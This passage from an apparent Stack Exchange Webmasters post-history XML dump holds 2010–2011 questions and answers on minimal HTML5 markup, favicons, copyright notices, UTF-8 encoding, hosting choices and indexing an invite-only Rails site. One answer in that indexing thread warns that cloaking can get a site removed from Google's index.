  <row Id="37349" PostHistoryTypeId="1" PostId="15740" RevisionGUID="3beae3f6-43e3-4bc1-8c57-7813ff041070" CreationDate="2011-06-23T00:46:00.947" UserDisplayName="SamIAm" Text="Disable comments / Spam protection" />
  <row Id="37350" PostHistoryTypeId="3" PostId="15740" RevisionGUID="3beae3f6-43e3-4bc1-8c57-7813ff041070" CreationDate="2011-06-23T00:46:00.947" UserDisplayName="SamIAm" Text="&lt;spam-prevention&gt;&lt;spam&gt;" />
  <row Id="37351" PostHistoryTypeId="2" PostId="15742" RevisionGUID="a6279948-9dbd-4d74-80af-4d7bb1b31a92" CreationDate="2011-06-23T07:58:40.337" UserId="7198" Text="Apache, MySQL, and other common servers and background tasks (daemons) run under the 'nobody' user. From the Wikipedia entry for [nobody](http://en.wikipedia.org/wiki/Nobody_(username)):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In many Unix variants, &quot;nobody&quot; is the&#xD;&#xA;&gt; conventional name of a user account&#xD;&#xA;&gt; which owns no files, is in no&#xD;&#xA;&gt; privileged groups, and has no&#xD;&#xA;&gt; abilities except those which every&#xD;&#xA;&gt; other user has.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It is common to run daemons as nobody,&#xD;&#xA;&gt; especially servers, in order to limit&#xD;&#xA;&gt; the damage that could be done by a&#xD;&#xA;&gt; malicious user who gained control of&#xD;&#xA;&gt; them.&quot;&#xD;&#xA;&#xD;&#xA;You're seeing the 'nobody' user because you're probably running a server or background process on the box. It's nothing to worry about." />
  <row Id="37352" PostHistoryTypeId="2" PostId="15743" RevisionGUID="ef24d571-4bef-4893-a35f-cf5fc4b63c97" CreationDate="2011-06-23T08:05:22.577" UserId="2739" Text="The bare essentials you need for a valid HTML5 document, as oulined in [Bruce Lawson's blog][1] is&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=en&gt;&#xD;&#xA;    &lt;meta charset=utf-8&gt;&#xD;&#xA;    &lt;title&gt;blah&lt;/title&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;p&gt;I'm the content&#xD;&#xA;&#xD;&#xA;The unclosed `&lt;html&gt;`, `&lt;body&gt;` and `&lt;p&gt;` elements are invalid in older versions of HTML though (specifically XHTML1), so Bruce recommends closing these and also including a `&lt;head&gt;` section.&#xD;&#xA;&#xD;&#xA;In reality any web page that has more than just a few paragraph of text will also heavily use `&lt;div&gt;` elements to lay out content, as well as `&lt;a href=&quot;link&quot;&gt;` (anchor) tags for hyperlinks and probably `&lt;img src=&quot;image.jpg&quot;&gt;` for images.&#xD;&#xA;&#xD;&#xA;The website **html5.org** has a [useful list of all currently valid HTML elements][2], including the new HTML5 ones.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brucelawson.co.uk/2010/a-minimal-html5-document/&#xD;&#xA;  [2]: http://simon.html5.org/html-elements" />
  <row Id="37353" PostHistoryTypeId="2" PostId="15744" RevisionGUID="cd9002a3-4ea3-404b-946a-c3816b13dbac" CreationDate="2011-06-23T08:06:34.883" UserId="8494" Text="By the letter of the HTML 4.01 standard, the only compulsory element is `&lt;title&gt;` (with a corresponding `&lt;/title&gt;` tag), however browsers will display as HTML anything that looks like HTML* or is served with a `text/html` content type.&#xD;&#xA;&#xD;&#xA;* ‘Looking like HTML’ is a browser-dependant heuristic." />
  <row Id="37354" PostHistoryTypeId="2" PostId="15745" RevisionGUID="db7997e1-9c52-4123-9a76-6adda589c503" CreationDate="2011-06-23T08:26:37.550" UserId="7198" Text="The absolute minimum HTML you need to create a page that the W3C's [validator](http://validator.w3.org/) considers valid is:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&lt;title&gt;&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;The [doctype declaration](http://dev.w3.org/html5/spec/syntax.html#the-doctype) says that we're using HTML5. The `&lt;title&gt;` tag would contain the page title. However, since such a page is practically useless, it's much more common to see a simple document structure containing `&lt;head&gt;` and `&lt;body&gt;` tags, like this:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;You can improve on this further by telling the browser that we're using a UTF-8 character set, and that the primary language of the document is English:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Next, we'll add an external stylesheet and tell Internet Explorer to use the latest rendering engine:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This is now approaching the minimum I'd start with. In practice, I'd normally set up a container `div` element called &quot;content&quot; to hold the rest of my layout:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;content&quot;&gt;&#xD;&#xA;                &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This gives you more control over the central page element -- you can centre all page content (and have a full-width background image in the page body) by editing your `style.css` file to look like this:&#xD;&#xA;&#xD;&#xA;    #content{&#xD;&#xA;        width: 960px;&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding different HTML versions, they are simply incremental revisions. 'HTML5' is the fifth revision of the HTML specification, with a wide range of [differences and improvements](http://www.w3.org/TR/html5-diff/) over HTML4. As such, it almost always makes sense to use the latest version (by starting your document with `&lt;!doctype html&gt;`) when you can.&#xD;&#xA;" />
  <row Id="37355" PostHistoryTypeId="5" PostId="15743" RevisionGUID="e053d14c-a0ce-4e7a-9e17-d0bf9e5df21a" CreationDate="2011-06-23T08:26:57.207" UserId="2739" Comment="added 1 characters in body" Text="The bare essentials you need for a valid HTML5 document, as oulined in [Bruce Lawson's blog][1] are&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=en&gt;&#xD;&#xA;    &lt;meta charset=utf-8&gt;&#xD;&#xA;    &lt;title&gt;blah&lt;/title&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;p&gt;I'm the content&#xD;&#xA;&#xD;&#xA;The unclosed `&lt;html&gt;`, `&lt;body&gt;` and `&lt;p&gt;` elements are invalid in older versions of HTML though (specifically XHTML1), so Bruce recommends closing these and also including a `&lt;head&gt;` section.&#xD;&#xA;&#xD;&#xA;In reality any web page that has more than just a few paragraph of text will also heavily use `&lt;div&gt;` elements to lay out content, as well as `&lt;a href=&quot;link&quot;&gt;` (anchor) tags for hyperlinks and probably `&lt;img src=&quot;image.jpg&quot;&gt;` for images.&#xD;&#xA;&#xD;&#xA;The website **html5.org** has a [useful list of all currently valid HTML elements][2], including the new HTML5 ones.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brucelawson.co.uk/2010/a-minimal-html5-document/&#xD;&#xA;  [2]: http://simon.html5.org/html-elements" />
  <row Id="37356" PostHistoryTypeId="2" PostId="15746" RevisionGUID="ba37f813-cee6-4331-9e90-0ae1fbee1095" CreationDate="2011-06-23T08:42:38.440" UserId="7198" Text="Change this block:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;        background: #fafafa url('http://static.tumblr.com/l3zugnz/7KJkvwe70/bg.png') fixed repeat-x 0 0;&#xD;&#xA;        min-width: 1000px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;to read:&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;        background: #fafafa url('http://path.com/to/your/image.jpg') fixed no-repeat 0 0;&#xD;&#xA;        min-width: 1000px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Replace `http://path.com/to/your/image.jpg` with the actual path to your new background image. You could upload the new background image on tumblr's [static file upload page](http://www.tumblr.com/themes/upload_static_file) and use the URL it gives you.&#xD;&#xA;" />
  <row Id="37357" PostHistoryTypeId="2" PostId="15747" RevisionGUID="cd76bbf3-25cf-402d-91b7-5ba6cddf507c" CreationDate="2011-06-23T09:23:18.610" UserId="8483" Text="Here's a site that compares a few cloud hosts, although I'm not sure how up-to-date it is: http://www.mrkirkland.com/cloud-computing-price-comparison/&#xD;&#xA;&#xD;&#xA;I also compared aws pricing to google app engine, and it seems that yes, aws is the cheapest.&#xD;&#xA;&#xD;&#xA;However, you should also read about the quality of aws hosting before you use it, as I have heard of many issues from people using them.&#xD;&#xA;&#xD;&#xA;Also, if you are looking into hosting pictures and videos, you may want to try to find a specialized host that serves images, and one that serves videos as a side-service in addition to hosting. They may have cheaper storage costs and better/faster distribution of the content." />
  <row Id="37358" PostHistoryTypeId="25" PostId="15739" RevisionGUID="aa39d68e-0ee6-4363-b43a-a94f4fd3275b" CreationDate="2011-06-23T09:24:56.160" Comment="http://twitter.com/#!/StackWebmasters/status/83827867569491968" />
  <row Id="37359" PostHistoryTypeId="2" PostId="15748" RevisionGUID="36e7ce6c-42ea-4486-884b-f05908b962ae" CreationDate="2011-06-23T09:34:17.853" UserId="1643" Text="AWS gives you a virtual server all to yourself. If you just want to host pictures and videos then look for &quot;shared hosting&quot;. You'll need to estimate your expected bandwidth and disk usage as many put limits, but often they allow you to buy extra.&#xD;&#xA;&#xD;&#xA;You can find hosting with &quot;unlimited&quot; bandwidth and disk usage, but there may be a limit on the number of files you can have, or some fair use policy so that bandwidth isn't really unlimited, or may be shared with many other people, so gets quite slow." />
  <row Id="37360" PostHistoryTypeId="2" PostId="15749" RevisionGUID="0a16ca34-db63-4508-a6af-d31ece92cc09" CreationDate="2011-06-23T09:36:32.670" UserId="5727" Text="I'm going to say none.&#xD;&#xA;&#xD;&#xA;&gt; I want to know what HTML tags are &quot;compulsory&quot; a web-page should have, in order for it to be displayed by a web-browser.&#xD;&#xA;&#xD;&#xA;Just create a .html file and put in it:&#xD;&#xA;&#xD;&#xA;    Hello world&#xD;&#xA;&#xD;&#xA;It will display in all web browsers.  If you want to drop lines:&#xD;&#xA;&#xD;&#xA;    Hello world&lt;br&gt;&lt;br&gt;This is my next paragraph&#xD;&#xA;&#xD;&#xA;I'd say that's the bare minimum as a direct and probably unpopular answer to your question.  The other answers have more *what you should have* as a standards compliant minimum." />
  <row Id="37361" PostHistoryTypeId="17" PostId="15750" RevisionGUID="29e9646a-003d-4993-9af4-5b3612fc7eea" CreationDate="2011-06-23T10:30:30.477" UserId="-1" Comment="from http://stackoverflow.com/questions/6448518/how-can-i-allow-search-engines-to-index-my-invite-only-website-in-ruby-on-rails" Text="" />
  <row Id="37362" PostHistoryTypeId="17" PostId="15751" RevisionGUID="4c3cdc6f-965d-4510-8231-b9b8e8241375" CreationDate="2011-06-23T10:30:30.477" UserId="-1" Comment="from http://stackoverflow.com/questions/6448518/how-can-i-allow-search-engines-to-index-my-invite-only-website-in-ruby-on-rails" Text="" />
  <row Id="37363" PostHistoryTypeId="17" PostId="15752" RevisionGUID="97d2845d-ac0f-4a6f-bad6-3d6d5cfd57cc" CreationDate="2011-06-23T10:30:30.477" UserId="-1" Comment="from http://stackoverflow.com/questions/6448518/how-can-i-allow-search-engines-to-index-my-invite-only-website-in-ruby-on-rails" Text="" />
  <row Id="37364" PostHistoryTypeId="2" PostId="15751" RevisionGUID="93d8b715-1756-4e8a-b7ef-c1fd9fce2dd7" CreationDate="2011-06-23T01:59:57.750" UserDisplayName="ingyhere" Text="Identify crawlers from major search sites and automatically allow them access without credentials, as in [this answer](http://stackoverflow.com/questions/916147/how-to-identify-web-crawlers-of-google-yahoo-msn-by-php).&#xD;&#xA;&#xD;&#xA;Then you can catch links from the search engine referrer and transfer viewers to a page advertising your site. " />
  <row Id="37365" PostHistoryTypeId="2" PostId="15752" RevisionGUID="c524397b-6301-4d45-91d6-37bb0ee6ce18" CreationDate="2011-06-23T02:21:57.313" UserId="409" Text="This is a bad idea.  This practice, of showing one thing to search engines and another to users, is called cloaking: http://www.google.com/support/webmasters/bin/answer.py?answer=66355&#xD;&#xA;&#xD;&#xA;It will cause your site more harm than good, with respect to search engine results; it &quot;may cause your site to be perceived as deceptive and removed from the Google index&quot;, according to the above link.&#xD;&#xA;&#xD;&#xA;Other suggestions:&#xD;&#xA;&#xD;&#xA; - Can you place marketing/not quite real data outside of your authentication wall that both users and search engines will find useful?&#xD;&#xA; - Can you place, again, outside of the wall, a subset of the &quot;content that [you] would like to see indexed by search engines&quot;, perhaps as a demo?&#xD;&#xA; - Can you accept not being crawled until you open your site to the general public?" />
  <row Id="37366" PostHistoryTypeId="2" PostId="15750" RevisionGUID="d507665f-244a-40f2-aef2-2eda3e2fb290" CreationDate="2011-06-23T01:53:06.890" UserDisplayName="tstyle" Text="I have a ruby on rails website that will be in invite-only mode for the next couple of months. Currently I have it set up so visits to any page performs an authentication:&#xD;&#xA;&#xD;&#xA;    before_filter :authenticate, :except =&gt; [:beta] //authenticate checks for a logged in user&#xD;&#xA;&#xD;&#xA;But the webpage has a lot of content that I would like to see indexed by search engines, and I was wondering if there's an easy way to allow crawlers to do their work? I am not very knowledgable on SEO related stuff at all, so sorry if this is an suboptimal way to phrase the question." />
  <row Id="37367" PostHistoryTypeId="1" PostId="15750" RevisionGUID="d507665f-244a-40f2-aef2-2eda3e2fb290" CreationDate="2011-06-23T01:53:06.890" UserDisplayName="tstyle" Text="How can I allow search engines to index my invite only website in ruby on rails?" />
  <row Id="37368" PostHistoryTypeId="3" PostId="15750" RevisionGUID="d507665f-244a-40f2-aef2-2eda3e2fb290" CreationDate="2011-06-23T01:53:06.890" UserDisplayName="tstyle" Text="&lt;ruby-on-rails&gt;&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="37369" PostHistoryTypeId="17" PostId="15753" RevisionGUID="1ed6310b-f392-43f4-8cca-a4ce8c01a645" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37370" PostHistoryTypeId="17" PostId="15754" RevisionGUID="bee7274a-fbfd-492e-a6ae-7cf62aaf16f1" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37371" PostHistoryTypeId="17" PostId="15755" RevisionGUID="a64cb6d1-bc1d-45ee-8b38-af45989c558a" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37372" PostHistoryTypeId="17" PostId="15756" RevisionGUID="14ca3d6c-311e-4280-9380-a0a498f8764b" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37373" PostHistoryTypeId="2" PostId="15754" RevisionGUID="cdfd499d-b2a2-4222-96df-53a0b3cf12f4" CreationDate="2010-12-10T20:19:46.633" UserDisplayName="Sam" Text="It is a loosing battle to copyright code unless you are [Goldman][1]. AFAIK just having a domain with content is all you need. Shows that you have purchased and made content related to your idea.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dealbook.nytimes.com/2010/12/10/ex-goldman-programmer-is-convicted/?partner=rss&amp;emc=rss" />
  <row Id="37374" PostHistoryTypeId="2" PostId="15755" RevisionGUID="6a4f82a9-bbf3-481a-9ce5-1ea951635c01" CreationDate="2010-12-10T20:23:40.960" UserDisplayName="DaveN" Text="There are a few ways of writing this, but generally this is fine:&#xD;&#xA;&#xD;&#xA;&gt; Copyright &amp;copy; 2010 Your Name. All&#xD;&#xA;&gt; rights reserved.&#xD;&#xA;&#xD;&#xA;If the year is earlier than the current year, it's assumed that it means 2009-NOW, so no need to write 2009-2010 (of course, having last year makes your page look a little dated).&#xD;&#xA;&#xD;&#xA;To answer your second point, the copyright statement does not specifically state what it's copyrighting. For example, you don't say &quot;Images and design copyright (c) 2010 Your name&quot;. It's assumed you mean the website (design, images, content) - but I wouldn't think the source code." />
  <row Id="37375" PostHistoryTypeId="2" PostId="15756" RevisionGUID="85eddf44-e172-4a4d-a5fd-2f11d1140904" CreationDate="2010-12-10T20:24:54.493" UserId="686" Text="The dates are there because you created the work(s) on your site in those years.  Most sites use &#xD;&#xA;&#xD;&#xA;`Copyright (start year) - (current year) You, Inc.  All rights reserved.`&#xD;&#xA;&#xD;&#xA;If you use others' copyrighted work, it's up to you to satisfy their demands for acknowledgement, which could be a link, attribution, or royalty.  Or they could deny you.&#xD;&#xA;&#xD;&#xA;You might use&#xD;&#xA;&#xD;&#xA;`This work Copyright (some date) So-And-So, LLC.  Used with permission.`&#xD;&#xA;&#xD;&#xA;But I'm not a lawyer, so if you're really concerned seek competent legal advice." />
  <row Id="37376" PostHistoryTypeId="2" PostId="15757" RevisionGUID="90476e94-fee0-4f11-9db2-a762f3de7237" CreationDate="2010-12-10T20:25:36.580" UserDisplayName="devdigital" Text="1) There is no particular 'right way' of adding a copyright notice, as there are different requirements in different countries, but I would include the word 'copyright', the copyright symbol, the year of publication, and the copyright owner's name as a minimum.  See http://www.copyrightservice.co.uk/copyright/p03_copyright_notices for details.&#xD;&#xA;&#xD;&#xA;2) The copyright notice is for the creation of your website, which is the (hopefully) unique combination of content and design, so I don't see a problem with your site containing only your name in the notice.  It all depends what the licenses are for the code you have used." />
  <row Id="37377" PostHistoryTypeId="2" PostId="15753" RevisionGUID="9b3623b3-d98d-410c-a65f-24b2912dc90b" CreationDate="2010-12-10T20:15:47.633" UserDisplayName="PeeHaa" Text="Not really a programming question, but I find it related.&#xD;&#xA;&#xD;&#xA;If not (or you find this question too subjective), please tell me, yell at me, swear at me, kick me in the nuts, or just vote to close :)&#xD;&#xA;&#xD;&#xA;I've read some questions and answers here on SO about adding copyright notices, but not the specific ones I am looking for.&#xD;&#xA;&#xD;&#xA;I want to add a copyright notice to a website I created.&#xD;&#xA;&#xD;&#xA;Something like (c) Me 2010. All rights reserved.&#xD;&#xA;&#xD;&#xA;I am aware that everything written by someone is automatically copyrighted (if I'm not mistaken and perhaps depending on country laws).&#xD;&#xA;&#xD;&#xA;I see some sites use the following format for this (c) Me 2009-2010. However for me that makes no sense to add an 'end-date' to the notice. I am aware I can code to update the notice every year, but I just find it strange. Or is it just me?&#xD;&#xA;&#xD;&#xA;Another question is:&#xD;&#xA;&#xD;&#xA;I also use copyrighted code from others (they are all mentioned in the credits incl. links to their licenses ofc) on my site. Would it still be OK to add the copyright notice to the site with only Me in it?&#xD;&#xA;&#xD;&#xA;So to sum it up I have 2 questions:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;  &lt;li&gt;What is THE RIGHT WAY&lt;sup&gt;TM&lt;/sup&gt; of adding a copyright notice on a website (or code or whatever)? If there is one.&lt;/li&gt;&#xD;&#xA;  &lt;li&gt;Is it allowed to copyright code with other copyrighted code within it?&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;" />
  <row Id="37378" PostHistoryTypeId="1" PostId="15753" RevisionGUID="9b3623b3-d98d-410c-a65f-24b2912dc90b" CreationDate="2010-12-10T20:15:47.633" UserDisplayName="PeeHaa" Text="Add copyright notice to a website" />
  <row Id="37379" PostHistoryTypeId="3" PostId="15753" RevisionGUID="9b3623b3-d98d-410c-a65f-24b2912dc90b" CreationDate="2010-12-10T20:15:47.633" UserDisplayName="PeeHaa" Text="&lt;websites&gt;&lt;copyright&gt;" />
  <row Id="37380" PostHistoryTypeId="17" PostId="15757" RevisionGUID="90d281bb-b2f2-4e5c-bf4f-c2ae417d574c" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37381" PostHistoryTypeId="17" PostId="15758" RevisionGUID="6a250d81-1e3c-43df-a10a-46d114e031a2" CreationDate="2011-06-23T10:30:54.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4412917/add-copyright-notice-to-a-website" Text="" />
  <row Id="37382" PostHistoryTypeId="2" PostId="15758" RevisionGUID="c4605df1-345c-4dcc-a528-ba651457b8c0" CreationDate="2010-12-10T20:29:44.943" UserId="5680" Text="I don't know the right way to copyright stuff. On websites, I just leave a &quot;Copyright (c) UmbraProjekt. All rights reserved&quot; notice in the footer.&#xD;&#xA;&#xD;&#xA;As for copyrighting code that's copyrighted by someone else, it depends on the licence, but generally yes, you may do so, as long as the code written by someone else is free for you to be used in your own work (usually it is). Check the code's licence thoroughly though: it may ask for something in return or may put limitations on how/where you use it. In some cases you may or may not be required to:&#xD;&#xA;&#xD;&#xA;- honour the original author&#xD;&#xA;- make the modified code publicly available&#xD;&#xA;- not use the original code for commercial purposes, etc.&#xD;&#xA;&#xD;&#xA;Please refer to the common licences to see what limitations are commonly applied and read the copyright notices carefully." />
  <row Id="37383" PostHistoryTypeId="17" PostId="15759" RevisionGUID="47813b49-22ec-4e65-bb16-02484d80886c" CreationDate="2011-06-23T10:38:46.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6451520/any-reason-a-site-has-2-links-to-favicon" Text="" />
  <row Id="37384" PostHistoryTypeId="2" PostId="15760" RevisionGUID="72e58c17-d8e7-4750-aef6-f9d75cc90ecb" CreationDate="2011-06-23T08:59:36.387" UserDisplayName="JayC" Text="Like all things wonderful on the web, it looks like IE is the cause:&#xD;&#xA;&#xD;&#xA;[Shortcut isn't valid HTML, just for IE][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mathiasbynens.be/notes/rel-shortcut-icon" />
  <row Id="37385" PostHistoryTypeId="2" PostId="15759" RevisionGUID="ec84ccad-b69b-4505-bb9c-96f9f5122b30" CreationDate="2011-06-23T08:50:14.767" UserId="8331" UserDisplayName="jdln" Text="A site I'm looking at has the following 2 links to its favicon: &#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; type=&quot;image/ico&quot; href=&quot;/_assets960/media/favicon.ico&quot; /&gt;&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;icon&quot; href=&quot;/favIcon.ico&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Question: Is there a good reason why you would specify the icon twice in these two slightly-different ways?&#xD;&#xA;" />
  <row Id="37386" PostHistoryTypeId="1" PostId="15759" RevisionGUID="ec84ccad-b69b-4505-bb9c-96f9f5122b30" CreationDate="2011-06-23T08:50:14.767" UserId="8331" UserDisplayName="jdln" Text="Any reason a site has 2 links to favicon?" />
  <row Id="37387" PostHistoryTypeId="3" PostId="15759" RevisionGUID="ec84ccad-b69b-4505-bb9c-96f9f5122b30" CreationDate="2011-06-23T08:50:14.767" UserId="8331" UserDisplayName="jdln" Text="&lt;favicon&gt;" />
  <row Id="37388" PostHistoryTypeId="17" PostId="15760" RevisionGUID="45b663ce-52cc-463d-9da3-17fcb2396bb4" CreationDate="2011-06-23T10:38:46.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6451520/any-reason-a-site-has-2-links-to-favicon" Text="" />
  <row Id="37389" PostHistoryTypeId="17" PostId="15761" RevisionGUID="e6b90849-0894-4e22-9d4c-4cb29f8621e0" CreationDate="2011-06-23T10:38:46.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6451520/any-reason-a-site-has-2-links-to-favicon" Text="" />
  <row Id="37390" PostHistoryTypeId="2" PostId="15761" RevisionGUID="6f880bad-05b0-4b95-87db-d43410153fc7" CreationDate="2011-06-23T09:01:28.853" UserDisplayName="Matt von Rohr" Text="[The reason is compatibility with Internet Explorer][1]. `rel=&quot;icon&quot;` is the way it is done in HTML5 or any other browser than IE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon#Accessibility" />
  <row Id="37391" PostHistoryTypeId="2" PostId="15762" RevisionGUID="473968f5-29f6-4f72-a0aa-93c1a4aff4e9" CreationDate="2011-06-23T11:22:51.407" UserId="233" Text="dmsnell's answer about using HTML entities is fine, but this issue can usually be fixed by making sure you are using the proper UTF-8 throughout the entire page generation and serving to users.&#xD;&#xA;&#xD;&#xA;For example, if your data is stored in a database, make sure all the text fields use UTF-8 encoding. In MySQL you will also need to run a query `SET NAMES utf8` once before you start fetching data.&#xD;&#xA;&#xD;&#xA;PHP handles UTF-8 fine if you are not modifying strings. If you are, you will need to look into using its multi-byte `mb_*` functions.&#xD;&#xA;&#xD;&#xA;On the page itself, add the content type meta tag. It should go right after the `&lt;head&gt;` tag.&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&#xD;&#xA;&#xD;&#xA;You could also set this as a HTTP header instead." />
  <row Id="37392" PostHistoryTypeId="2" PostId="15763" RevisionGUID="9ff3e584-4a51-4714-a9bd-148fa3379ad0" CreationDate="2011-06-23T11:45:08.033" UserId="1253" Text="You can do what sites like experts-exchange.com does and use a feature called &quot;first page free&quot;. Google will index content that is normally blocked by a pay wall in exchange the publication is required to show the full content of that page to any visitor from Google. &#xD;&#xA;&#xD;&#xA;Obviously this means savy users can find your content for free if they keep using Google to enter your site. But it's the only way to get Google to index your content without cloaking and risking a ban from their search results." />
  <row Id="37393" PostHistoryTypeId="25" PostId="15759" RevisionGUID="d9301be2-3552-4002-9767-47241beeb82d" CreationDate="2011-06-23T12:24:57.143" Comment="http://twitter.com/#!/StackWebmasters/status/83873169806598144" />
  <row Id="37394" PostHistoryTypeId="5" PostId="15745" RevisionGUID="a55c0754-83ec-43a6-8b60-e9d916c75ac4" CreationDate="2011-06-23T12:58:52.353" UserId="7198" Comment="added 105 characters in body" Text="The absolute minimum HTML you need to create a page that the W3C's [validator](http://validator.w3.org/) considers valid is:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&lt;title&gt;&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;The [doctype declaration](http://dev.w3.org/html5/spec/syntax.html#the-doctype) says that we're using HTML5. The `&lt;title&gt;` tag would contain the page title. However, since such a page is practically useless, it's much more common to see a simple document structure containing `&lt;head&gt;` and `&lt;body&gt;` tags, like this:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;You can improve on this further by telling the browser that we're using a UTF-8 character set, and that the primary language of the document is English:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Next, we'll add an external stylesheet and tell Internet Explorer to use the [Chrome Frame Plugin](http://www.google.com/chromeframe/) if the visitor's using it, which tends to improve page layout glitches:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            